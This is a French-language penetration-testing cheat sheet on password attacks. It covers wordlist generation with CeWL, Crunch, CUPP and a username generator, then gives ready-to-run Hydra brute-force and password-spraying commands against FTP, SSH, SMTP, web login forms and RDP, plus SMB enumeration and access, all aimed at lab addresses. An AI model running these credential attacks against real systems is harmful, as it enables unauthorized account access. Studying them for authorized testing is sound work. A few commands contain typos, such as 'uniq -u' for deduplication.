Mot de passe
Listes de mot de passe par defaut
Liste de Liste de mdp :
Combiner des listes
cat file1.txt file2.txt file3.txt > combined_list.txt
Trier pour eviter les doublons :
sort combined_list.txt | uniq -u > cleaned_combined_list.txt
Créer des listes
CEWL
CEWL est un outil de génération de listes de mots, conçu pour extraire des mots-clés pertinents à partir de sites Web spécifiques. Contrairement à d'autres outils similaires, CEWL est capable de créer des listes de mots uniques en fonction du contenu spécifique d'un site Web donné.
Utilisation :
cewl [OPTIONS] URL
Options :
-w FILE
: Enregistre la sortie dans le fichier spécifié. Par exemple,-w list.txt
.-m MIN
: Spécifie la longueur minimale des mots à extraire. Par exemple,-m 5
rassemble des mots de 5 caractères ou plus.-x MAX
: Spécifie la longueur maximale des mots à extraire. Par exemple,-x 10
rassemble des mots de 10 caractères ou moins.-d DEPTH
: Définit le niveau de profondeur de l'exploration du site Web. Par défaut, CEWL explore jusqu'à 2 niveaux de profondeur. Par exemple,-d 5
explorera jusqu'à 5 niveaux de profondeur.--with-numbers
: Ajoute des nombres aux mots extraits.--extension
: Permet d'ajouter des extensions personnalisées à chaque mot, ce qui peut être utile pour le forçage brut de répertoires ou de fichiers.--offsite
: Autorise le suivi des liens externes. Par défaut, CEWL ne parcourt pas les sites externes.
Exemples :
Pour extraire des mots de 5 à 10 caractères à partir d'un site Web et les enregistrer dans un fichier
cewl http://example.com -m 5 -x 10 -w output.txt
Pour explorer un site Web jusqu'à 3 niveaux de profondeur et ajouter des nombres aux mots extraits :
cewl http://example.com -d 3 --with-numbers -w output.txt
Générations de nom d'utilisateur
git clone https://github.com/therodri2/username_generator.git
cd username_generator
Pour afficher l'aide et les arguments facultatifs disponibles :
python3 username_generator.py -h
Création d'une liste de noms complets
Créez un fichier texte contenant le nom complet de la personne pour laquelle vous souhaitez générer des noms d'utilisateur. Par exemple, pour John Smith :
echo "John Smith" > users.lst
Exécution du générateur de noms d'utilisateur
Utilisez le script pour générer les combinaisons possibles du nom complet :
python3 username_generator.py -w users.lst
Exemple de sortie :
La sortie inclura toutes les combinaisons possibles, telles que le prénom seul, le nom de famille seul, différentes variantes de combinaisons de prénom et nom de famille (avec des séparateurs comme ".", "-", "_", "+"), et les combinaisons inversées (nom de famille suivi du prénom).
john
smith
j.smith
j-smith
j_smith
j+smith
jsmith
smithjohn
Options supplémentaires (-h) :
-u, --uppercase
: Produit également des permutations en majuscules. Cette option est désactivée par défaut.
Générations de mdp ciblé
CRUNCH
La commande Crunch est un outil de génération de listes de mots de passe qui permet de créer rapidement des combinaisons de caractères basées sur des critères spécifiques tels que la longueur minimale et maximale du mot de passe ainsi que le jeu de caractères à utiliser.
Options courantes de Crunch :
-t : Spécifie un modèle pour la génération de mots de passe. Par exemple,
-t @%#
générera des mots de passe avec des lettres majuscules, des symboles et des chiffres.@ : représente les caractères alphabétiques minuscules.
, : représente les caractères alphabétiques majuscules.
% : représente les caractères numériques.
^ : représente les caractères spéciaux, y compris l'espace.
-o : Enregistre la sortie dans un fichier spécifié.
-d : Permet d'éviter la génération de mots de passe en double.
-s : Permet de spécifier un délimiteur pour les mots de passe générés.
-l : Spécifie une longueur fixe pour les mots de passe générés.
-p : Permet de générer des mots de passe avec des préfixes spécifiques.
Exemple :
Pour générer une liste de mots de passe de 3 caractères, utilisant des chiffres et des lettres majuscules, et enregistrer la sortie dans un fichier nommé 3digits.txt
, vous pouvez utiliser la commande suivante :
crunch 3 3 0123456789ABCDEF -o 3digits.txt
Explication de la commande :
crunch
: Appel à l'outil Crunch.3 3
: Spécifie que la longueur minimale et maximale des mots de passe est de 3 caractères.0123456789ABCDEF
: Définit le jeu de caractères à utiliser pour la génération des mots de passe, qui comprend des chiffres de 0 à 9 et des lettres majuscules de A à F.-o 3digits.txt
: Enregistre la sortie dans un fichier nommé3digits.txt
.
Après avoir exécuté cette commande, vous trouverez un fichier 3digits.txt
dans le répertoire actuel, contenant toutes les combinaisons possibles de 3 caractères à partir des chiffres et des lettres majuscules spécifiés.
CUPP
CUPP est un outil écrit en Python qui permet de créer des listes de mots de passe personnalisées en fonction d'informations spécifiques sur une cible, telles que son prénom, son nom de famille, sa date de naissance, etc. Voici un tutoriel sur son utilisation :
Installation de CUPP :
Cloner le dépôt GitHub de CUPP sur votre machine locale en utilisant la commande suivante :
git clone https://github.com/Mebus/cupp.git
cd cupp
Exécution de CUPP :
python3 cupp.py
Vous pouvez maintenant voir les options disponibles :
python3 cupp.py -h
Options de CUPP :
-i, --interactive : Mode interactif pour créer une liste de mots de passe en répondant à des questions sur la cible.
-w FILENAME : Améliorer un dictionnaire existant ou un fichier de sortie de WyD.pl pour créer une liste de mots de passe.
-l : Télécharger des listes de mots de passe prédéfinies depuis un référentiel.
-a : Extraire des noms d'utilisateur et des mots de passe par défaut à partir de la base de données Alecto.
-v, --version : Afficher la version de CUPP.
-q, --quiet : Mode silencieux, sans afficher de bannière.
Exemple d'utilisation :
Utilisation du mode interactif pour créer une liste de mots de passe :
python3 cupp.py -i

Téléchargement d'une liste de mots de passe prédéfinie :
Cpython3 cupp.py -l

Extraction de noms d'utilisateur et de mots de passe par défaut à partir de la base de données Alecto :
python3 cupp.py -a

CUPP offre une manière pratique de générer des listes de mots de passe personnalisées basées sur des informations spécifiques sur une cible, ce qui peut être utile pour les tests de sécurité et d'autres scénarios d'attaque.
Hydra
Options de Base :
-f
: Arrête le processus dès qu'un mot de passe valide est trouvé.-v
: Active le mode verbeux pour afficher des informations supplémentaires pendant l'exécution.-l
USERNAME : Spécifie un nom d'utilisateur unique.-L
FILE : Fournit un fichier contenant une liste de noms d'utilisateur.-P
FILE : Fournit un fichier contenant une liste de mots de passe.-s
PORT : Spécifie un port personnalisé à cibler.-t
THREADS : Définit le nombre de threads (connexions simultanées) à utiliser.
FTP
hydra -t 4 -l admin -P /chemin/vers/wordlist.txt ftp://adresse_IP
SSH
hydra -t 4 -l admin -P /chemin/vers/wordlist.txt ssh://adresse_IP
SMTP
hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x -v
Attaque de Formulaires Web
hydra -l admin -P /chemin/vers/wordlist.txt example.com http-post-form "/login.php:username=^USER^&password=^PASS^:Login failed"
example.com : L'URL de la page Web cible (peut être une IP/login.php).
http-post-form : Indique que nous utilisons une méthode de formulaire HTTP POST pour envoyer les informations d'identification.
"/login.php:username=^USER^&password=^PASS^:Login failed" : Spécifie le chemin de l'action de formulaire, les noms de champs de formulaire (
username
etpassword
), et le message d'erreur attendu en cas d'échec de connexion.
Trouver les options
BurpSuite :

Code source :


Exemple pour ce site : http://10.10.143.204/login-get et l'utilisateur test :
hydra -l test -P /usr/share/wordlist/rockyou.txt 10.10.143.204 http-get-form “/login-get/index.php:username=^USER^&password=^PASS^:login failed!” -f
Password spraying
Une attaque par pulvérisation de mot de passe cible de nombreux noms d'utilisateur en utilisant un mot de passe faible commun, ce qui pourrait aider à éviter une politique de verrouillage de compte.
hydra -L /root/Desktop/username.txt -P /root/Desktop/passwords.txt ssh://10.10.x.x -t 4
RDP
Supposons que nous ayons trouvé un service RDP exposé sur le port 3026.
Supposons que nous voulons utiliser l'option -u
pour spécifier le nom d'utilisateur "victim" et l'option -p
pour définir le mot de passe "mdp!". L'option -t
consiste à sélectionner un seul hôte à attaquer.
python3 RDPassSpray.py -u victim -p mdp! -t 10.10.x.x:3026
-h
pour avoir des infos sur les options
-d
pour spécifier un nom de domaine si vous êtes dans un environnement Active Directory.
Outlook web access (OWA) portal
SMB
Metasploit (auxiliary/scanner/smb/smb_login)
Tester plusieurs users en ssh avec une clé RSA : id_rsa
for user in $(cat users.txt); do ssh -i id_rsa $user@10.10.109.117; done
SMBClient
SMBClient est un client SMB (Server Message Block) qui permet de se connecter à des partages de fichiers Windows et d'effectuer des opérations de base telles que la navigation dans les répertoires, la lecture et l'écriture de fichiers.
Voici quelques-unes des principales commandes de SMBClient :
help
: affiche une liste de toutes les commandes disponibles.ls
: affiche le contenu du répertoire actuel.cd
: change le répertoire actuel.get
: télécharge un fichier du serveur.put
: envoie un fichier vers le serveur.exit
: quitte SMBClient.
Pour utiliser SMBClient, vous devez d'abord vous connecter à un partage de fichiers Windows en utilisant la commande suivante :
smbclient //<adresse IP ou nom de l'hôte>/<nom du partage> -U <nom d'utilisateur>
Par exemple :
smbclient //10.10.109.117/C$ -U John
Cette commande se connecte au partage C$ sur l'hôte 10.10.109.117 en utilisant le nom d'utilisateur John.
Enum4Linux
Enum4Linux est un outil de reconnaissance pour les systèmes Windows qui utilise SMB pour récupérer des informations sur les hôtes distants. Il peut être utilisé pour identifier les versions de système d'exploitation, les partages de fichiers, les utilisateurs et les groupes, ainsi que pour effectuer des attaques par force brute.
Voici quelques-unes des principales commandes d'Enum4Linux :
-a
: exécute tous les tests de reconnaissance disponibles.-u
: récupère les informations sur les utilisateurs.-G
: récupère les informations sur les groupes.-S
: récupère les informations sur les partages de fichiers.-P
: effectue une attaque par force brute sur les mots de passe des utilisateurs.
Pour utiliser Enum4Linux, vous devez spécifier l'adresse IP ou le nom de l'hôte cible en utilisant la commande suivante :
enum4linux <adresse IP ou nom de l'hôte>
Last updated